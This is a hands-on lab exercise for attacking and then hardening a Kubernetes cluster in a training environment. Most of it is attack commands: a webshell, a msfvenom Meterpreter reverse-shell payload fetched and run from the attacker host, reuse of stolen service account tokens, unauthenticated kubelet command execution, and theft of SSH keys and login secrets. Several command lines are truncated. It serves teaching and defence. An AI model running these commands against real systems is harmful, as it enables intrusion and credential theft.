Exercise: Kubernetes Multitenant Attack and Defense

Steps

1. On your Kali system, start a shell by hitting `Alt-F2`, then typing `lxterminal` and hitting `Enter`.
2. Connect to the control plane node as the `bustakube` user using the password `bustakube`:

   ```
   ssh bustakube@bustakube-controlplane
   bustakube
   ```

3. Run sudo su - to elevate to `root`, using the password `bustakube`:

   ```
   sudo su -
   bustakube
   ```

4. Run `scenariochooser` and choose the second scenario by hitting `2` then `Enter`.

   ```
   scenariochooser
   2
   ```

5. Start up Firefox and browse to this URL. You can use the icon on the desktop, or use the process from step 1.

   http://bustakube-controlplane:31372

6. Let's look for directories and files that either often bear fruit (things like `test.php`) or are well-known applications. Use the Kali system's menu in the top left or the process from step 1 to run the `dirbuster` program:

   ```
   dirbuster
   ```

7. In the `dirbuster` window, fill out the target URL with http://bustakube-controlplane:31372
8. To complete the "File with list of dirs/files" box, choose the "Browse" box to its right, then navigate that window to `/usr/share/dirbuster/wordlists/` and choose `directory-list-lowercase-2.3-small.txt`.

9. Click the button that toggles off "Be recursive."
10. Now click the "Start" button in the lower right corner of the dirbuster window, so we can save time by not looking in subdirectories.
11. Now click the "Results-List View" tab to see the results update in real time.
12. Sort this alphabetically by the "Found" column by clicking the word "Found". Stop the scan when it finds `backdoor.php`. The amount of time this takes depends on the number of requests per second you see. In one test, at 44 requests per second, this took 6 minutes. If you'd like, let this run but skip to the next step, stipulating that you found `backdoor.php` in the results.
13. We found a backdoor, left by someone who compromised this Wordpress server already! Check it out by browsing to: http://bustakube-controlplane:31372/backdoor.php
14. In the "execute command" window, enter `id` and hit the `Enter` key. You'll see what user this backdoor is running as.
15. Hit the browser's back (left arrow) button to get back to the `backdoor.php` URL.
16. Now, let's get a Meterpreter binary running via this backdoor. Start up a terminal and switch to your home directory:

    ```
    cd ~
    ```

17. Next, create a fresh Meterpreter binary.

    ```
    msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp \
    LHOST=10.23.58.30 LPORT=4444 -e x86/shikata_ga_nai -o mrsbin -f elf
    ```

18. Now stage a web server in that terminal, hosting the `mrsbin` binary:

    ```
    python3 -m http.server 80
    ```

19. Next, start up a new terminal by hitting `Ctrl-Shift-T`.
20. Let's start up Metasploit to receive the Meterpreter connection. Start a Metasploit console session:

    ```
    msfconsole
    ```

21. In the Metasploit console, run these commands to start a listener that's specific to this Meterpreter binary:

    ```
    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set LHOST 10.23.58.30
    exploit -j
    ```

22. Now, switch back to your browser, where you'll be telling the webshell to pull down and run the `mrsbin` Meterpreter binary.

23. Copy and paste this text into the "execute command" form item, then hit `Enter`.

```
curl -O http://10.23.58.30/K8S-Exercise/kubectl ; curl -O http://10.23.58.30/mrsbin; ch
```

24. Notice that the page seems to keep loading forever. That's a good thing – it means that the webshell hasn't finished executing the `mrsbin` program. If it ever does, we'll likely need to restart the `mrsbin` program through the webshell, unless we've found a method of persistence.

25. Switch back to the terminal window to see that your Metasploit console shows a "Meterpreter session N opened" where N is a number, usually 1. Press `Enter`.

26. Interact with the meterpreter by typing `sessions -i N`, where N is that session number from the previous step. If N = 1, type:

```
sessions -i 1
```

27. Now get a shell by typing:

```
shell
```

28. Let's make that environment a bit more hospitable by running a `bash` shell:

```
bash -i
```

29. Find out what directory you're in, then list its contents:

```
pwd
ls -lart
```

30. Take a look around the filesystem if you like. Once you're done, look at the root filesystem of this pod and display the flag:

```
ls /
cat /FLAG-1.txt
```

31. Let's get ready to start running Kubernetes commands. First, let's make `kubectl` executable:

```
chmod u+x kubectl
```

32. Next, let's get the IP address for the API server. Go back to your browser and start a new window by hitting `Control-N`.

33. In this new window, browse to the backdoor again:

    http://bustakube-controlplane:31372/backdoor.php

34. Copy and paste this text into the "execute command" window, then hit enter.

```
env
```

35. Get the IP address out of the `KUBERNETES_PORT` variable on roughly the second line – it might be `10.96.0.1`. You'll need this in the `alias` command about 7 steps from now.

36. Now let's go back to your terminal where you have the Metasploit console running. We'll also need a service account token. Let's see if it's been mounted into the pod.

    ```
    mount | grep kubernetes
    ```

37. We can use a quick `awk` trick to parse this directory. This may be one of the only two `awk` tricks you'll ever need.

    ```
    mount | grep kubernetes | awk '{print $3}'
    ```

38. Let's store that directory in a shell variable.

    ```
    d=`mount | grep kubernetes | awk '{print $3}'`
    ```

39. Now we'll use that directory variable. List that directory:

    ```
    ls $d
    ```

40. Find out what namespace you're in by looking at that namespace file:

    ```
    cat $d/namespace
    ```

41. Let's put that namespace in a shell variable too.

    ```
    export ns=`cat $d/namespace`
    ```

42. Set up a `kubectl` command alias to make your `kubectl` commands easier, building it from the contents of that service account directory (*Note: Update the server IP address in this command if needed based on what you got back about 7 steps ago for KUBERNETES_PORT*):

    ```
    alias kubectl="`pwd`/kubectl --server=https://10.96.0.1:443 --token=`cat $d/token` --ce
    ```

43. Look at that command one more time – there are a few embedded commands in there. Here are two examples:

    ```
    `pwd`/kubectl
    ```

    embeds `pwd` (print working directory) to give us a full pathname of our `kubectl` binary; and

    ```
    --token=`cat $dir/token`
    ```

    puts the contents of the token file into the alias.

44. Now check out your handiwork by running the `alias` command:

    ```
    alias
    ```

45. Next, test out the alias by trying to list pods in your current namespace:

```
kubectl get pods
```

46. Let's make sure we know which pod we're in by running:

    ```
    hostname
    ```

47. Now, let's try running an interactive shell in the other pod in our namespace. Since these pods are put in place by a Kubernetes deployment, they don't have exactly the same name on your machine as ours, so here's a command to stuff the other pod's name into a variable:

    ```
    pod=`kubectl get pods | grep wordpress-mysql | awk '{print $1}'`
    ```

48. Let's copy `kubectl` into that pod:

    ```
    kubectl cp kubectl $pod:/tmp
    ```

49. Let's use `kubectl exec` to run a command in that mysql pod, using `-it` to make it interactive:

    ```
    kubectl exec -it $pod -- /bin/bash
    ```

50. Confirm we've switched pods by checking the hostname:

    ```
    hostname
    ```

    Note: From this point on, if you have to hit `Ctrl-C`, here's what you can type to get back from the Meterpreter into the `wordpress-mysql` pod.

    ```
    shell
    bash -i
    d=`mount | grep kubernetes | awk '{print $3}'`
    alias kubectl="`pwd`/kubectl --server=https://10.96.0.1:443 --token=`cat $d/token` --ce
    -n `cat $d/namespace`"
    pod=`kubectl get pods | grep wordpress-mysql | awk '{print $1}'`
    kubectl exec -it $pod -- /bin/bash
    hostname
    ```

51. Let's check the root directory for another flag.

    ```
    ls -l /
    ```

52. Read the flag:

    ```
    cat /FLAG-2.txt
    ```

53. Just so we can see that an exec isn't going to work, let's run a `kubectl` command. First, note that we have the server information we need:

    ```
    env
    ```

54. Let's try listing pods:

    ```
    /tmp/kubectl get pods
    ```

55. Note that the error message tells us that we're using a different service account now: this one is named `system:serviceaccount:mktg:mysql`, whereas the other was specific to wordpress. This service account isn't allowed to even list pods, much less exec into any.

56. Let's see if we can find the IP addresses of the nodes:

```
/tmp/kubectl get nodes
```

57. Let's communicate with the read-and-write API on the kubelet on a node, which listens on TCP port `10250`. We'll try the control-plane node, but we could try this on any node. We'll start by asking for a list of the running pods. We'll need the control-plane node's external IP address, since the pod doesn't have this node in its `/etc/hosts` file. You can get that IP address from your Kali system's `/etc/hosts` file.

```
curl -ks https://10.23.58.40:10250/runningpods/
```

58. Note that what you received back was JSON output – you can read it, but it's much easier to read if you parse it with a tool. The next six intermediate steps will let you experiment with the `jq` tool, short for JSON query. If you'd like, skip these steps and go straight to the step that reads "Now, let's get a list of all the pod names, with their namespaces."

59. Let's get a list of the entries in this JSON output's items array.

```
curl -ks https://10.23.58.40:10250/runningpods/ | jq '.items'
```

60. Now let's see if we can get just the first item.

```
curl -ks https://10.23.58.40:10250/runningpods/ | jq '.items[0] '
```

61. Now let's see if we can get just the name entry for the first item.

```
curl -ks https://10.23.58.40:10250/runningpods/ | jq '.items[0] | { name: .metadata.nam
```

62. Note that the pod name we got probably wasn't the same pod name as when we got the first item. This list is coming out unordered, different each time. Run that same command again to see.

```
curl -ks https://10.23.58.40:10250/runningpods/ | jq '.items[0] | { name: .metadata.nam
```

63. Let's add the pod's namespace to that.

```
curl -ks https://10.23.58.40:10250/runningpods/ | jq '.items[0] | { name: .metadata.nam
```

64. To work with the whole set of items, we'll need to send `.items` through an array sifter. We run:

```
curl -ks https://10.23.58.40:10250/runningpods/ | jq '.items | .[]'
```

65. Now, let's get a list of all the pod names, with their namespaces.

```
curl -ks https://10.23.58.40:10250/runningpods/ | jq '.items | .[] | {name: .metadata.n
```

66. Note that the only pod running on the control-plane node that isn't part of the `kube-system` namespace is `dev-pod` which runs in the `dev` namespace. You can view the entire output of the last command by hitting `Shift-PageUp` and `Shift-PageDown`.

67. Let's look at the container names in `dev-pod`. We'll add the container names to the `jq` query, then use `grep` to grab only that part of the output:

```
curl -ks https://10.23.58.40:10250/runningpods/ | jq '.items | .[] |
{name: .metadata.name , ns: .metadata.namespace , containers: [.spec.containers[].name]
grep -A 6 -B 1 dev-pod
```

68. Note that this pod has two containers: `dev-web` and `dev-sync`. This seems to match a pattern we see all the time, where we have a web server program to serve content and remote file transfer program that pulls the latest copies of that content into the directory that the web server program uses to serve it.

69. Let's use the Kubelet API again, asking the `dev-sync` pod to run `id` for us. The format for the URL on this API call is `/run/namespace/pod/container/`. We use a `POST` request and pass in the command in the argument `cmd`:

```
curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-sync/ -d "cmd=id"
```

70. We received an error, because there's no shell in that container. Let's try doing the same on the `dev-web` container:

```
curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=id"
```

71. That's more like it! We see that we can run commands in that pod and that they run as `root`! Let's look for a flag.

```
curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=ls -l /"
```

72. Let's check out that flag:

```
curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=cat /FLAG-3.txt"
```

73. Get that SSH key! It's stored as a secret available only to dev-pod's service account. First, list the dev namespace's secrets.

```
curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=kubectl get secrets
```

74. Now, request a copy of the `ssh-key` secret.

```
curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=kubectl get secret
```

75. The base64-encoded secret is in there. Let's put it into a file called `ssh.secret`:

```
curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=kubectl get secret
```

76. Now let's parse that file, pulling the `bustakube-ssh-key:` line, getting just the second part of the line, and `base64` decoding it:

```
cat ssh.secret | grep " bustakube-ssh-key:" | awk '{print $2}' | base64 -d
```

77. Congratulations! You've got the private SSH key! Let's see what that other secret was, the one called `mainframe-login`.

78. Request the `mainframe-login` secret:

    ```
    curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=kubectl get secret
    ```

79. Now store it in a file we can parse:

    ```
    curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=kubectl get secret
    ```

80. Now, parse it in the same way as above:

    ```
    cat mainframe.yaml | grep " mainframe-login:" | awk '{print $2}' | base64 -d
    ```

81. Ah hah! The "mainframe" in question is the Kubernetes cluster. Let's try logging into `root`'s account on the Kubernetes cluster control-plane node.

82. Copy that SSH key from this Metasploit terminal tab by highlighting it and hitting `Ctrl-Shift-C`.

83. Now, let's do all our SSH-ing from the host Kali system. Start up a new terminal window/tab on your Kali system.

84. Start up mousepad and use it to create a file you can paste the text into:

    ```
    mousepad /home/lockthisdown/sshkey
    ```

85. Paste the key into mousepad with `Ctrl-V`.

86. Save the file with `Ctrl-S`.

87. Exit mousepad with `Ctrl-Q`.

88. Next, set the permissions on that key, like so:

    ```
    chmod 0700 /home/lockthisdown/sshkey
    ```

89. Now, `ssh` in as `root` to the control-plane node:

    ```
    ssh -i /home/lockthisdown/sshkey root@bustakube-controlplane
    ```

90. OK - so we've got `root`! We're done! Let's turn around and defend this cluster.

91. We can block those curl commands against the Kubelet by activating its Webhook authorizer and deactivating anonymous authentication. We'll be editing the kubelet's configuration file in `/var/lib/kubelet/config`.yaml.

92. This cluster automates this change with `/usr/local/bin/toggle-kubelet-anonymous.sh` - take a look at it:

    ```
    less /usr/local/bin/toggle-kubelet-anonymous.sh
    ```

93. Effect the change by running the toggle script with activate:

```
/usr/local/bin/toggle-kubelet-anonymous.sh deactivate
```

94. Now go back to the Metasploit window, where you were running commands in the mysql pod, and try the Kubelet attack again:

    ```
    curl -ks https://10.23.58.40:10250/run/dev/dev-pod/dev-web/ -d "cmd=id"
    ```

95. It's important to note that we need to make the Webhook change on all nodes in the cluster. The attack was only blocked here because the attack was against the control-plane node. If you'd like to do this now, you can log in to the other nodes in this cluster and run the same script.